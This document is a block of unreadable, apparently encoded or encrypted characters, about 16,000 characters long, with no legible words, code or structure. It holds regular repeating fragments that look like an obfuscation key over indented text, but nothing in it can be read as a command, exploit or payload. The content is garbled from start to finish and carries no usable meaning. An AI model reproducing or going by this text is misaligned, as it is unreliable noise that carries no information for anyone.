C64I6Sc	(8"!~wpR 8f+{wp^6--x||^+C6.5QNR	(9,qSZs ,%a3">{|N ,$3=-xMdA+9<x||^82)>|N`A:a9{wR^q:?D)qcgJ s%!	QMp2)>%V|`RC+hlc ,G64I6Sc	(?.1YhW2:45{ptN` -ygpL
6/=}Cr %"4H"h]VR 82z)5px	C+hlc ,G64I6Sc	(?.1YhW2:45{ptN+"6)5{wR^q:?D)qcgJ s&(QYg	'9$9&{w^	81 ,qZw &C"kcI!sG63I:gsg@!>>25{|Bw (262>V|g@!(1+3->V|xV r1(6-ARh]VW	K?95	QwZJ
Ca.,qZw &C"kcI!sG63I:gsg@!=5HQ]VR(62D)qc]T
9=j{U!9ywcT(QYg	'9$9ZhYL'1;5HQ^S**&>5b]R^(1b4HM3hl{M 8hlsU ,B+9&ygZ^(2?9MP	(f+(hcIC<9
cs]Cr(6"&
kYIU!<),qSZs ,%a3">{wR,J$396PIO +Bb6=Rh`W
G63I:gsg@!>>=.PsgN9%4	h]ZI
G6 hYL'G?D)qcgJ s&(QYg	'9$9ZhYL'1;5HQ^S+%<5b]R^(1b4HM3hl{M 8hlsU ,B+9&ygZ^(2?9MP	(f+[ve^w ,)`5:RScL
	+5K:kcR":>=&Q]Z^&6C95{s]T)`5:RScLs%e6":RQMVP s=95&Q]xI1f+{wp^
262>V|g@!(1+H2hs]@!:6"=}Cr
262DhcIC1f+{wp^
269&	Swp^1'4="hs]@!:6"=}Cr
2695{ws
"")5hYwJ s&6.D[{wVR,"-A
Pcd^1(-2	hs]@!:69yer
2695{wp^
26=.PsgCpC6)5	hY]JF95-!Uve^^
2695{|{U'	%(55	hY]J>f+{wp^%C1+D)veAT'F;3=P]s
 sJ	6=SwVR 62D)qgcN!>>DVO>IScV
65	QwZ6--{cgM 	!d9&klcV(QYg	'9$9&klcV6C">V|g@!(1<-h`Bw /CD)hZgLr!!5H@kc	"J$H"acT!8!2,qS]
 sJ-2	hlxV kYO
i6>1Igg@',%(2:kg@"!d=hY@!5a6-MbwVGi=P{sJ=+-:PZcU!/"z ,qS]T'F;3=P]s
 sJ-:3kl{Q!:5x|hI
	 (x|h^1a4ywc (SchV		*!2,qSZs %;6=LxNIC 5$~]pR!(2$9T{pFO r195@}Cr 6--Qc@ J+9&P~wpPG8)5[b`^,5"4H!ve^s -:PMpR'(2$9ZkZx	; (qcgJ s&(qe]Us'9ZQ|{U
="":bc JG?9@x|h^(2?9MQYd	; (Ter CD)qlUC!p==K6
QYwM">Phlx^ sJ<32
QYdW1H"Rhc,>5`b{_qJ< g_dWf+{wp^"*>"kcI!sF7"QcC94=2Ssg_s%aHEh|gJ>?),q]p^
2695VOs%;=2kcV	q'-&hws{ 5;6=!PcR'=4{s]M '=!xMF^	86"6
kYUs=3<MPc!%+9y`Bw &b4HM6hch995)`s]C9"-%gqYh
)`5:RScL 8"9&*fqz 	SlQ,=H.SPY	"J$4bMcqJ/6eMUR"=9jk!,=a6-MQMU]($5HAxMZ3I:ggS5(-DxNG62hgsR":?96#ScIs=39PsU!-J8":hs]@	8!D)qlUC!p==K6
QYwM-.{s O&6"kMsR":?96#ScIs=39QwTJ%5H&jg=7=xMZI6C"PUp1942ywUm)==Ehsd^"F;52"	hgsR":?96#ScIs=39QwTJ%5H&j]Ls`="hs]@	8!D)qlUC!p==K6
QYwM;,>/{| 	1'4%~wsT'F;3=PXU&+329x ,73"Q]O!(!PYwP!%: PY	W 	VsgM B94>
WgVI6C-ysk!,=a6-Mjg"=a4Pl]C 7H"RjJ"%$3<MPYkO	8!+(qgc	B& KDbgpP4-ywxL!+4-hg	s="6-"VrI!,)'9{]ZP6C-ysk!,=a6-Mjg"=a4PlC 7HMPYgS'!+D)qeZR'%%4< {p^
*BK2/{^Bw &!VcS''5MWs]C'	>>I6jO!,F=I%ygZw &2&Pls[2h9>3P	r9=K2/{^Bw &!VcS''5MWs]C'	>>HMSbS!sF$-:RxMZI)&Rhc NpC6)5f{Qs=,qS]
 sJ-:3kl{Q!?I"Qs@'%:=&
VswP==4{s]M '=!xMF^	862&PlpI kYO
i=IxNBw &C-ywcqJ/6eMUO 85>D[{wUL"?)6Uve^^
2695{wp^
1b4HM6hch995)gYgQ585=!~g	8J&":V`W16":QYgQ585=!xMU'>'4=2QUR	8~QMp1>4"bgRS	81'5:ScK?<`Y]J=5HMQFP12MVs|O:"<QswC r:9=xN[',=3KDZ~t
+?5Ly`Bw (2695{wp^
262PUp1942ywUj5:->hgpO!;I:kccO'8"?6Q@5:->hgVWs%aMSswR!r?.LWcgC
9=hch 	8>?=MkIIs hHjw{~"=4K&PIC:"<~g	8J2jw{C"5:5I{]ZW-c6-"Qj`FOG8PMRI6C95{wp^
2695VOs%;=2kcV	qJ2.QZI!sG?96#hY]JJ?"&kL'%$329xMN ,J;I.QZI!sG?)Uve^^
2695{wp^
1b4HM6hch995)`s]C'	:652hgRJ
1<6-jUU'J;5HARhc	 8?H"RkMI r=`)Ahl`Wf+{wp^
2695{wsI(9?/f{{=3I:
hYg_!J:)ygs695{wp^
2695{wp^		%+">VcF^194>
WgVWs=;PsS	8?H9~wUJ"HE
SdW&625~wUN9"Q|]	"J$QZgP&"I&
Q]RJ	sg6"5~wUP&,&kZAI :?9kMRJ	s'H2RhgRJ	r=`6-&hl{J	8f+{wp^
2695{wp^
26=&
PYUU (2h=2QYw#"-~wUL!s"+x{RsJ(-%~wU'/=;-@~wUC*?9	QZUU,"?9PswM"I>S|gL'%(kYK ,J'3= VwRJ	s&3=2PsgC	8?6"6VMRJ	r!(6"6QSl{U	8?4HhcIRs>?9P{	 s%$32>WxMFW sF'4%~wUO r==xII	=9=D~wU	r1"5H&xMFW r!9xIOs=>-:xMFW!J?3H2RkVW+2":klK	8?2EQQ "I:
V I!?9QP{M s=95xI!,9Uve^^
2695{wp^
2695xscO'sF"5H2	hl{C
C6">klZV	r?"%~wUT!;69xI!/?9ScK 8"H:SQYFW?"%~wUJ'r2%5-QY@	8f+{wp^
2695{wp^
26-:PMpW9(Uve^^
2695{wp^
2695x|cU!2h">klZV 5{wp^
2695{wp^
1<5I>kcV
:3":QYk!1945	SlcU!5{wp^
2695{wp^
2695SchV'r='HkVV	a-Dyer
2695{wp^
2695{wp^
2695x|cU!13)5[{wcI'%%D){wp^
2695{wp^
262PUp1942ywUo s%("xMF^"B&5=M	hgVW2?9&Rhc Nf+{wp^
2695{wp^
262&Plp 9("y`Bw (2695{wp^
2695{wsT!r9=-:{wVR5$H"{swC
!!3="yer
2695{wp^
2695{wp^
1!QQa";69	SlcU!!+{wp^
2695{wp^
2695{wp^
2:3="QrE]
C6=Rhc695{wp^
2695{wp^'r='H"gsw@C>J&
PYUU ("=QsIO&>xMFR'%%49}Cr
2695{wp^
2695{wc	B&-2QYwf+{wp^
2695{wp^
26MhcwS"2>=&VJ!s5:">{swC
!!3="yer
2695{wp^
2695{wp^
1!QQa";69	SlcU!!+{wp^
2695{wp^
2695{wp^
2:3="QrE]
C6=Rhc695{wp^
2695{wp^'r='H"gsw@C>J&VJ!s5:">xMF^"B&5=M	hgVW2?9&Rhc Nf+{wp^
2695{wp^
26-:PMpW9( @}Cr
2695{wp^
2695{|UC!p==K6
QYwM?%QsQs&?96QQ&?=-~cVWf+{wp^
2695{wp^
263I:ggS5(-DxYO r!+cskI!%7H"RjO!/!=5&ywRO!;HQcC	8!D){wp^
2695{wp^
26="Ss	^	;84LIb|NGz4=MSlY_s%a42SSc`^9-2	{]pO!;I6
Q
iI:kc	!9b^IT!r9%=MQgP!a,hMYL'"=ASPsFJ
+&82&Sl|L 5(-D~ZkQ!	%=2&Sl|L 5(-D~ZkQ!	%=. hlc ,G62Qdz2&b^I	F4Mbw	Gi3=%Ibs]L 	%a2&WQsd '%e396kc U1942gs`.Db^FO'"z9MRQ^'	:z2&	bXcOJa>@ZVs`$42"R{|c &h3="VVwsLB="6
QYwM(1c-Sh`A2&Vs`Ja4@Z~cQ,=PZs'1a2"6bl,B!396PkcIC8@b^FO,J(5.@}Cr
2695{wp^
2695{s]T
!4I:VwpV	J K:7eMUN(595	jsip!3I5xI
*<=j!%(6-9xrhp= ]U]2<6QL'B=4ywc_J<Qp|W!2,q]p^
2695{wp^
2695{wp^		!=5"5bgpP
+ 5{wp^
2695{wp^
2695hY@ :K62gc[	r2(KDbp^	J K:7eMUN85&gqm ?4>=jgBK1f+{wp^
2695{wp^
2695{wp^
2:3-	{p^	1'4HVjUU'	1b3-	ywc_J<QpxWf+{wp^
2695{wp^
2695{wp^
1!5x|gI5{wp^
2695{wp^
2695{wp^
2695	VsgM 2$)6P]Lg	Vc]RG8=@}Cr
2695{wp^
2695{wp^
1h+{wp^
2695{wp^
2695{sgS"K6 Q]		; 5{wp^
2695{wp^
2695VOs%;=2kcV	p%+">xMF^		!=5"5}Cr
2695{wp^
2695{|w (2695{wp^
262D,qS] 
%"4H!WCr b4HM6hch995)f|^,%(4HP]RJ'r='"xkU (!.,qSZs'r='H"gsw@C>J2k!/"6H"RVs]Lr>?2Pg$"%kcS!r%$329ygZ"PUp1942ywUo s%(?2k!/!+QQ&?5"R{|gC:?)Uve^s%C-"Ss	^	;'=Pb]R3I:`YO'%(9UveA .SPY	"J$=2Vs]O!-1>49{|Bw &!QU':K62gc[	s5 "jgZI
	 5{wp^
26K:2Qg	sJ'6Hys R:K:$gXk- ?<&7grpp=KD{w^	s5 "~ws	 /%=.,qSZs!s974I&
QZ`V (hlkQ!:K62gc[	r2)KD}Cr :3="Qwp 
9:5H:SPcgL'F?"&$PsgMFa(hwVW&I"RQ|g		8$4I&WPsdL+4=
W`W	;:5H:SPcgL'F?"&$PsgMFa(hwVW&I"RQ|g		8$6-Ahl{pB){w^!:I:klV>>62&P|N=!-Ssw@ 8'Mhlc_s=-@ygZJ
925j|cZ29={w^
(f=@}Cr =H{|	 ,=5	VsgM "9>P]xJ
!a-E}Cr =2=R}Cr C5{wsI(=5"6RWgVRp1K& xwH?)x]h^
%%42&Wywc_J<QptW!+{wp^
26<6fU'='5H hgYM&><M6`b{n93J7drs_J9ygpL
962VxMF^f+,qS]
 sJ-2	hlxV h]YI r==39	jsip!3I5xI
*<9	jsip!3I5x^C6HhY	W62D)qe]Us'9ZSpt =hY	s)	Slh^s94I9[kL'%$3>@ZQc!&z5WO!J(9pp%'4I&WPsd	; (P{_ r!94%y`Bw &4=ScT!8!D)qeZR'B&>DP{_s%aH:hcwLf+{wp^
269&RPlp^1&4"j{U 9H!kl{@6;D){wp^
2695{wp^	86>M	WlIQ-bIPc1a9VsVJ
)96]Z^&8G 1)2Q]o	85{wp^
2695{wRQ'""2&{|BV(!1)2Q]o	85{wp^
2695{wRQ%K bXK(5%4H4xMFw (2695{wp^6">klZ^ C95{wp^
2695xMRJ695{wp^
2695~YdJ
Fc95SwF^,63=WM`A%"+{wp^
2695{wpW	6C95{wp^
2!95	Vs N (hcV!81+32>QYgN!5;)bsVA	8?=xMF^		!%49~]Rs!!3@ZkZx	; [ve^^
26-:PMpW)"Vhc''563arpMsJ:.Spt!!36PswC ;B;5HARhc	+<5I>{sQ!&h4=-Pcg	"J:"6Q`^!sF+3->Sl` 
,<2&Sl|L929ASsgS"s%:" 
yrFW&9PZgJ!a6=~YO&$32VcdIrB=52:WRV 626xMIL'"2&Sl|LsJ:)APkcI2Ky`E  ,%a3">{skQ!	===Ib|cU&	!94"
{sQ!&hHM	hgsS!5+4 EScUQ ,%9=	bbsV ='=!IxMV
%%42&Wywc_J<QptW~62&P|N=!-Ssw@ 8:K62gc[	r2)KD}]RWG?9MRhlY	9=.@ZScN'"632h` C'9%6"%VYwJ'&h".
PwsC'	".DPcw@s$"&Qp^ 	8Uve^s=>55{pII!/1`396RWlsU=>-:kY
F95-![kcAQ&1c-Sh`A
$9&ciq HE	|gVRp=.$gXBW!<M+fl	pC!
SYw	pC~H:hcK"?ygW(1+-A	{|gC"F??2)cbVs)'4DIb|s@1!>E3S|si'!&3"%Qc!&hysgM 	!d9&gqm ?4>1jgZ	s!!4I6klZ!,J$.}]RWG?5-2h]L!'4>SQ|V
(1;5=2QN M!6z ,qS]I(9-EV|ZV	J K:7eMUN5)WCr 'MVsw@'!D)qe]U',5"9&gqm ?4>1jgZ-"Ss	^"	!%52:hcI;6=2QMYO-J?"&kIUG>)Uve^s%C-"Ss	^	;'42>b^FOcUve^s'r='MVsg@f+[ve^w ,)`5:RScL
5;3=P_kI!%+-2ywZ^&6C95{s]T
9-EV|Z^!7JM2a]8<KDyer
2695{wpRq=J (`bBW(5>Dc|gL s%(6-2SlAU!7JM2a]8<KD}Cr
26;D)qc]T5=5"6RWgVRp1K& xpA	pC!)6Uve^s =b6"&SwVRp1K& xpA	pC!2,qSZs =94H!xgN!J9?.PsdW&C+(qc]T55-MPhb '-&hrT"=9&`_]t=3H-jbBW'B&HA
PcdW6<M%aaIp ?eMULB=KDyer +kYO
9-@Vws '-%hY]J68D)qeZs 9(-2}Cr H2hgpW!:6"=}Sr -ywwx!:6"=xrhp= ]U](qeZs=>55cwL	r"6I>klcU
F=36	SlxP6C+(qc{@5#D)qeZss5+)5hsgJ!= ,qSZs <3-AVs]O!(1:-Vsg|":>26
VsVI
	 (qeZs		193=bgpV r%84I&ywcN!>9Dy` 	8K?)5M{wcN!>&klcV(' ,qSZs =&{wp 
J&-A	SlxV		193=}Cr +QSs]J2>9	SlcU!2h2>kccR":>=&ygpI
6h)6kcIC62D)qeZs =Rhc^2:4=2RSwR"!=5.,qSZs -{wV^994H"kc U!!3="ygp 28@ygs%2>2hcQ!&>=RhcI
Ch9={]Z^C+(qeZs ='5&PZgU6C+(qeZs		!d4=!bgsT"=32hgVR"!=5)Uve^s +h]pV		!d4=!b`^
,!!4=ve^s +(hsgJ!==ywcI'%%.,qSZs -"Qdw &+(qe]x'F"6-AywcI'%%.,qSZs 1+D)qeZs ;5=MhccI (:=}Cr +#QY R":>26
VsVI6C+(qlw &+h]YI pJ94>
WgYx	J K:7eMUT	pC!+D)qeZs <5I>kcV!7?M6drBW(5=2{wcT1f+{wp^
2695{wp^
2695{wp^
1!	h]p 2?@yer
2695{wp^
2695{wp^
2695{wp^
='5&PZgU6C+(qeZs	*6)6SQYIR='=!xshI6C+(qeZs"*>6":hs]@!<),qSZs +	hcIU'%6"=xshI6C+(qeZs++D)qeZs /6SPYII!, >=-}Cr +[ve^s >kcB+klU
&":RhgR+(SchV	JJM.aag[	s5;39{p 
;5I6WxMZ^&6C+(qe]T'F;3=P]sS!r1dI6
QcU!;9&~wcR (qeZs <=jcI (:@	QMZI&6C+(qeZs B#=ywcR(!+.,qSZs +	Swp 
1'4="hs]@!;&y`Bw &+(qe]
"")5ywcT
C62>kccR":>=ygpQC62QdI+(qeZs <9xsh^
C6@ygsQ!,"69&{wt 
:$=yer +(qeZssJ&2,Mkl	:@	QMW8"=-{wcR(!+xMZ+(qe] 
%"4H"h]YI pJ<6-ywcS(!+),qSZs +#kN&:@	QMF^	"$29}Cr +[ve^s -.QYgQs><M&fu%3H-jgsQ 82:,qSZs -:Q|]_ 5+3=!xr}qJ/" x|W:xqUtq9<: x
5.,qSZs h="QgI(:J:2fEs ?-:Rx^C6HEVYdW1f+(qeZs )`5:RScL
B'3"QswC'&>=9x||J	"!2D)qeZs 6--Sl_(9&~]cCf+(qeZs 5- 	SlxV	"$29}Cr +(qgcV
C6=MhcR":>=9x||I6C+(qeZs >6-{wVV	*6)6#QYgQ!!4	SwZI
6h)6kcIC(qeZs 6--ywVR(29)5~]xI
5$95xsh^
C6@{]ZI+(qeZs ;5I6WjsQ r!=9&~]cC('	h]F^	"$29xM	W (qeZs C6-hc]T1!4KMScIU!;&ygZw &+(qe]xsJ&2)	kMR 86=%x||I6C+(qe] +(qckO ,%9Hxr}qJ/" xhW1945	h]Zw &+(qas@F95-!xr}qJ/" x|WG:xqUtq9<: x
5&y`Bw &+[{sgJ s%!	jiq,kc		pC6.DxAI !2,qSZs 6--kIQ r=7"QcC06"6 QYV")={|Bw (2695{wp^
2695{wp^
2695{wc"26)6hlR^,&">Ss]!D){wp^
2695{wp^
2695{wp^
266--ywc"2%MhcV	J K:7eMUN(595ygZ^&6C95{wp^
2695{wp^
2695{wp^
26=:hs]@!7JM2a]8;KD}Cr
2695{wp^
2695{wp^
2695{wp^
)'4"
kVV	JJM.aag[	s*?)6
QMpR(62D){wp^
2695{wp^
2695{wp^
2695{wp^
1!	h]p 2?@yer
2695{wp^
2695{wp^
2695{wp^
2695{wp^sJ$3=Vcd695{wp^
2695{wp^
2695{wp^
2695{s]T1!4KMScIU!7JM2a]8;KDxshIC95{wp^
2695{wp^
2695{wp^
2695{wp^
262Qw!:hgVRq=J (`bBW85&~wpR(f+{wp^
2695{wp^
2695{wp^
2695{wp^
%"4H"h]Yx"=7=ywc_qJJ$eMUS	pC$=-ygs695{wp^
2695{wp^
2695{wp^
2695{wp^
2:6"&QYw	!r:6)6hlR^,%;3">SlkU!=42RP{s'%("&Q]YL6"Vl{C")==hc	!r9d"&QYw	!r:>=-xM	W16-Q]C'%%"&QYw	!r:g:.abs_J}Cr
2695{wp^
2695{wp^
2695{wp^
2695{wp^,J(-2SwpV	a">
Vs@
5+9&hlZ (!c-ShgZ^&6C95{wp^
2695{wp^
2695{wp^
2695{wp^
2695{wc"2%2	hqkI!&>4"
P|sQ'>= WgZJ
!#"}Cr
2695{wp^
2695{wp^
2695{wp^
2695{wp^%C95{wp^
2695{wp^
2695{wp^
2695{ws 695{wp^
2695{wp^
2695{wp^
261+D){wp^
2695{wp^
2695{wp^
2695{sV(9&*fqz V`Wf+{wp^
2695{wp^
2695{wp^
2695x|AI CzHQdV 5{wp^
2695{wp^
2695{wp^
	C5{wp^
2695{wp^
2695Ter "DhcIC<9&ciq 
k`W2h)5Vc"2?)6Uve^s -ysJ=+H"VSl	 8? cl{S"c)ygs695{wp^
2695{wp^
2695{wpR&,&>DPYg

!4?2kYI',&>.,q]p^
2695{wp^
2695{wp^
26=.QYgQs><M&fu%3H-jgsQ 82:WCr
2695{wp^
2695{wp^
2695{wp^
<9&TSlpM,J&-@xr}qJ/" x|WG:{|Bw (2695{wp^
2695{wp^
2695{wp^
2695x|AI Cz"RQYwS'!'9&*fqz V`Wf+{wp^
2695{wp^
2695{wp^
2695{wp^
!g6"5bYJ!r==9Uve^^
2695{wp^
2695{wp^
2695{wp^%C95{wp^
2695{wp^
2695{wp^%C95{wp^
2695{wp^
2696[ve^s 1)6P|U"*><M&fu%3H2VwU]
Ch9RklxW1f+{wp^
2695{wp^
2695{sV(9&ciq xI6C95{wp^
2695{wp^
2695	jiq,h]U]
C6">kl]_!5&9QQ %+6="Psw@8"9&ciq xI6C95{wp^
2695{wp^
2696QQ&?3=2{sT&/*65{sgCs5&":hcIJ9?9&gqm ?4>=jgZ^(2?9~]sI!1"5H&ywR^	86<M&fu%3H-jgZI6C95{wp^
2695{wp^
2696SscI (:J2c_wtp ?I	xI6C+(qlw &+SPZU':J:2fEs ?y`Bw (2695{wp^
2695{wsC!;5HMScdV	s*?95xMF^'%){w^;*&9Uve^s >kcB+	hckQ'aD){wp^
2695{wp^
26=ywwU!1a2)	jsip!3I5xI1f+(qeZs I:VsO!s!)kc		86<M3fl8&)y`Bw &+(di s%aHMS]U<Qg@"5"6"yqpRp1K& xhW!D)qeZs 	JMhlcS!sJ#6-!x|W1<M3fl8;KD}Cr "D,qSZs 84"
SNBw &1+D)qlw (2696QQp5:"=y`Bw &=H{wR"6zhgsMF9H"bwVGi=P{sJ=+-:PZcU!/"z2:QY]N'F&,L[Qp{_2+ D{^Br=;4VpW6C)&	Sl{}!sFa-AR{p^'r='H:
PYcI (!4I:VwVRp1K& x|W~<M3fl8;KDTxqUtq9<: x
5.,qS]I(:=cL'%$395[b`^,5"4H!{|Bs=>55cwLa=Mhc^'!46PIR:9  QQ~!sJa"=y`B^ ,%a3">}Ms HkYwJ
!+5I>R}Cr !+5I>R{p^9("xQ!&?95y`Bw &!
hc N'	><M3fl8&)ygZ^&6C+h]YN ,%?HE
VsV94KLetM&-C#,LjscC!){wc_J<QptW6=E
VsV(qgcC!r9a>Dkl{@>=E
VsV;5595Sc	!%"&SrB@f+(Ter=>55b|S ,&3>@,qS]T'F;3=P]sC!2,qSZs,J(=[pEI"$hl|L=5-"V||L!%$I&}ZK8(qc]T"$hl|L=5-"V|["C$32hgp 2?HkEP!r?+D)qeZs "$hl|L=5-"V|["C$HkEU2h=%hY]J>$-PcgL'	=3<DkYUs=>,qS] iI:QY]N'GRkc{J1b6-&RSpW2&)kIQ r>hHE
ScW
==5=QswS"F?)xMsS"4=2	hs]L;C?Ive^,J(5)6kc U)!5="{s U''>EP	+a4@ZVsV^'s:3=[xNtC 	?PZs'1a2"6bcV=#MV{sLs!H[xQ?=:klC=>6H>Vb^FO'z2&b^IQ
(--[xM|W
J$HkB 	s>9>%ScIU qB95~s!"9>jQ!%7@x|O /!3,DMp^AG89=xNvB=9M
b^FO'z2&b^IQ
(--[xM|W
J$HkB 	s>9>%ScIU qB95~s!"9>jI&,%7@x|O /!3,DMp^AG89=xNm"=9M
b^FO'z2&b^IQ
(--[xM|W
J$HkB 	s>9>%ScIU qB95~s!"9>j O<2,L~]VR sJ(3<j`	N+6!>{]ZW*B'=W`FOGiI&b^I	"F3HAQ]q ,J`4>VsV	!>
{sY@*h9{sLs!H[xRV96-Q Q!-8=ASPsFJ9+I6QY C8:$9&P{	;55 5TgZL
-8)Igsg@!+4HPZ|s6z9MRSp'z-:RScL ;'3=Ibw	 +G8D)qgcR"9+>DxskI!%+>Dkl{@>.,qSZR!(2h=:Vc	!:6">&P	Fa.,qS]T!r:>=[pBR":5	SgBK1f+(qgcO'82h?6PI&J?"&VgIhc
!,%(9&	Sl{}!sFa-AReMcI!D)qeZRr:6)6#QsC"7H"Rh{W"">=.PsgW ,J`49	hs]@sJ$3="VrBR"C!.,qSZs		!%495[{sw@ ,5d9kc U	82h5	hs]@sJ$3="VrBR"C"+(qeZs 2?4=2RSwR^G6?/f{{=3H:QhwU](!:6">&P	Fa &jgFw &+({wUM!s!!{p
!93=!xZM!B:?TS`AC	86=.PsgM'%)	`Ii*5KkUR	pC65	hs]@sJ$3="VrBR"C!),qSZs 9hl{M 86.@VO%(5":&PIO (:J2c_wtp ?I	x^(2:=cL'%$3<	SbI C+(qeZ^	r=!2!{p
1<6-Q]:J2c_wtp ?I	xL	!!4:PZcU!/!3=ygFw &+({wUO'sF=4b`^	Jb kc U	pC~=MQeMULB=KDTcskI!%'3HAQ]VR(HMVsgL' :6,D~ur +xU@!r%&5[b]pRr93HA
PcdWK:I> xQ!&?.#hY]J(5I"ywcR"95HARhc	8!!),qSZs .,qSZs"*>=jkI!&>?/f{{=3H:QhwU]
G6=&Q_O!/!=5& xs]](qgcT"=4K {p^9("Pcg@s&>2&QwF^9("xc &?>DI{wUT"=}Cr =52:SchV+HPYBV	J> fr[	s=b9{w^	!!4:PZcU!/!3=ygZw &)&	Sl{CpC6)6
QZ{Q&J%">hgVR'B&96
QZ{Q&?32hgR^G6HPYBW2?5=SMR^G64"
hsII!, >2&QrBW 5a69ygZI6C+P|U"*>=jcI (:J2c_wtp ?I	x^(2:=cL'%$3<	SbIC+(xscI /=3)5[{sw@ ,5dHEQYUU!a5"5{sw@ ,5d9RWlsU	82h5hs]@	8!D)qlw &:J2c_wtp ?4HMVwU]
C62:QZ`"kcI!sG63I:c N!995	k]Z^&6C+h]VRq2/gBW sJ(39eNs]
6h9SlAU	8(ql{U'	%(56V|{S!2>4I&VsJ!r=4	kbBRq2/gBW sJ(39eNs]"2:RQZcO!Jb"=xs{[	J> fr[	r='4%jbBNC!)xqUtq9<: xO /"?,j`	A(C).,qSZs++D)qeZs ,%a3">{wVV	53I:WYdW2i9&eMUC"=KD{p	^665yg^V	J> fr[	r='4%jbBAK)Dy`Bw &h+(VlO /">=.PsgC283I:c N
(f+(VlO /">=&QZ|J
9b4HM&PlpP 	hY]J>6)6
QZ{Q&J%">hgVR(4xskI!%+.,qSZR!2h>5Uve^s,J(-2SwVR,""9kl|^	*!2,qSZs=>55b|c@	8G>=MxMsS!5+4 EgR	8!Ib|cR+!56SVws	&1=-:hcK,Je=A
Pcd 
,)3)=VYwJ'&hVl{JF;5H&ywcT8$-ExI(8=:klC=>6H>Vb^FO'"z2&	b^IQ
(--[{MsO!,="6-:bgxW(>=. xc &?.D[xkI!&?.LhMYZ	q)!5="dsO!	=2VcIJ?ASQYIU!,='=!xsk[	sF95-!jgZL	p?96xkI2b]RL"	!%52:hcI;6=2QMVR- ?52hgU]?xkI!%+-2jwRJ?&eMUN!>KDxFW 89~]pVB&32ywcT8"6-AxI
K6}]pP'a5=![xBR- ?5=SMU]%8)5{wR:z 5{w^"	!%52:hcI;6=2QMVR- ?52hgU]2$9j`FO+G?)@bwQ+'3=%Ib|cR($9	hXBW'	&)b`W,")bUC!p)!"6SlAU!< SlAU	pC!&eMU	&1=KD~]Rr!:RhpW(!< PcI/?)@bw	Gi3=%IxMR- ?5IhlxWG?xsk[	s(5I"xL	;'3=%Ib|cR+9=hch 
81'5:ScK9?<`Y]J=5HMQFWF`5=jwRW/%(5="kR:PYwM5)@jwRJ;6=EhrFW:z@	hXBW %(5"9jer Z~cR+a>@ZkgsV ,%<)={]sO!,="6-:bg{W?hll!sJ"4K~s!"9~Zg@!%$HM	hgVR- ?52hgU]G?9{rFW ,%$-EjwRI
+F9M
b]p1>4"bgxS
(1'5:ScK9?<`Y]J=5HMQFWF`5=jwRW/%(5="kR:PYwM5)@jwRJ
?3=MSkYZ	88%Z~t	8G>9&eMU	&1=KD[bgUT"=MxMp1>4"bgxS
(1'5:ScK9?<`Y]J=5HMQFWF`5=jwRW/%(5="kR:PYwM5)@jwRJ
?-&VrFW:z.k`^6662>h^P
8:65HAPs]S";C8xkI!%+=MP|Z	8$3-~rFW	8F`4PYO&>=. xQ!&?)xFW12H&VJ!s5:9{^|J9TxMRI(iI&	b^FO'	:z ,qSZs	6)5	Pp	N+6f+(Ter %;6=L{^I	 +Gi3=%kJ r195DQbSr !56SVws	&1=-hscU!(1$-Ebct^',5"3-![xkI!%+-2xNw &i6-AVl`^'	&.ESccRG652h` S
	)952"bgRP
G662&P|N=!-Ssw@ 8:J2c_wtp ?I	xI
G8 @,qSZ"F&3"%V|]NB>6-&	hc^!,5%.ESsw@ s%a2.
P|gU85SlC"><M3fl8;6=2Qg		pC!&gqm ?H
QZU'5ygP	;GZQgJ=a=A
Pcd 	r2) @ZPs	"J$2.
P|gU;5I6WxN}!r1d9MQ|cI!sGz=MVs]O!(1c-Sh`W!Jc)Ifc'5I6RScL+'42&P^',5"3-![xcU!%a)I`sgJ!=9MQ|cI!sGz,q]p^
1!PswC pJ=2=V||V	p!4?2kYI',&?),q]p^
2695hcV!828=MVs]O!(1c-Sh`W&,& A&P N ,%+45WY]N'5I6RScL+'42&P^',5"3-![xgL&,& A4PYO!1(":{wY"2!9MQ|cI!sGz,q]p^
1=H{wx!r1a6-M{|kQ!	%=)RklxW*='5"6hlC
a"=h^IJ'42&P
+ 5{wsI(9-EV|ZV	JJM.aag[	s5;39ygpT	(1HMSPZ`V	JJM.aag[	s*?)ve^^
2695{sgS"K6Q|cI!sG632Vcd 	r194I&xNh=a)5{qO!1(":bwO 	!!5H@I{^Bw (2696kYO
:iI:PsgS'G<5>QpBP6C95{s]T5=5"6RWgVRq=J (`bBW=aKD{whT
1;5I"VwVRq=J (`bBW(5)5x]pV!7JM2a]89I%jgp 2?2xMZ^%	69&ciq 
k`W2h)5Vsw@	8!+D){wp^
2696kYO
9<6-{sQ!&g>PZs'1a2"6blcU&	"652h` N(1c-Sh`W'r='=~]sR!=9>8Pcc_+~]pP(:65xr}qJ/" xwS'5>D[{wU"2?TSlpW(a"=h^W2$9=b]kL/=&=Uve^^
26-:PMpP$42"R{|c &hI:SkY I'632Vcd 	;Gz @Z~cR+'32=IbwT!r9%VswP!&z9M	Slh
+ QQ~!sJa"=y`Bw /CD)hZgLr!!5H@kc	"J$I&ScWJ'529ygs6--{ck!,=a6-Mjg"=a4Ssg,9!5ygs/%$I&P^"%e>P]VR 62I>V|g@!(1:-:ScV"%e="ywcNf1"D,q]p^
1!
hZgLr!!5HAhlYI r!+9ScV?)Wk!,=a6-M{s{I!,=29	QwZ^&r9=32"P]sR=>"kY]L%;9&ygZ%Ch]VQ/%$I&P_!4I&ywUV(":ScZW62H.SPY	"J$=Wp{Q s=!6)	Qw]		:hUhY@!!.5UxsZ r!(="ywcN :6)[]]		:$-:Q]YV:-9x|s[	5&eMcI;55)UTl{U'	%(55	Q^E %C-ywwT'F;3=PXU&+329xwCs!WwRI1f"kcI!sG6":ScZ@"%e9&ylBR +C?  PxV	h>	S`IC'	9"-@x|pI8 #=x|xL1+42>PZcT=>>;xMIO ,">26 xs]]f4"RVl{L
	=a4&VlsN:>2=}  6--{ck!,=a6-Mjg"=a4hZgJ!J`4PYO&?)Wk!,=a6-M{sk!73">hcS!s!=9&ylBR +C?  PxV	h>	S`IC'	9"-@x|pI8 #=x|xL2?)hsgS"%e=MhwVR  :6,Dy`E@!`4@Qc@'J`426Q]VR (f1"D,qSZR r!(6-AdsO!	>6)6
QZ{Q&(x{Q s&c96PYO&?>DI{wUP==&hcS!s!=,qSZs	q994H!P|wsR='=!{p
8":|^c_%;5H&xMFw &K"PwsU!,='=!{p
`4PYO&?;D)qeZW9"=&kR6.@xg@!!=HM	hgRJ)%VcIJ
